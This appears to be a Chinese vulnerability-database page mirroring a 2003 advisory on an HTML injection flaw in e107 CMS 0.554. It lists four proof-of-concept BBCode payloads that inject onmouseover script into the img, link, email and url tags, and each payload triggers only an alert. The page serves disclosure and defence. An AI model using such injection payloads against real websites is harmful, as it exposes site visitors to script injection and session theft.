e107 Website System 0.554 – HTML Injection-安全小百科

e107 Website System 0.554 – HTML Injection

漏洞ID	1054056	漏洞类型
发布时间	2003-07-25	更新时间	2003-07-25
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/22958

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/8279/info

The e107 content management system is prone to an HTML injection vulnerability. This issue is exposed through the class2.php script. An attacker may exploit this issue by including hostile HTML and script code in certain fields within the form. This code may be rendered in the web browser of a user who views the site.

[img][/img] - [img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img]
[link][/link] - [link]/link.htm" onmouseover="alert('Vulnerable');[/link]
[email][/email] - [email]/[email protected]" onmouseover="alert('Vulnerable');[/email]
[url][/url] - [url]/url.htm" onmouseover="alert('Vulnerable');[/url]

相关推荐: Exmh Local Symlink Vulnerability

Exmh Local Symlink Vulnerability 漏洞ID 1103559 漏洞类型 Race Condition Error 发布时间 2000-12-31 更新时间 2000-12-31 CVE编号 N/A CNNVD-ID N/A 漏洞平…

文章版权归作者所有，未经允许请勿转载。

THE END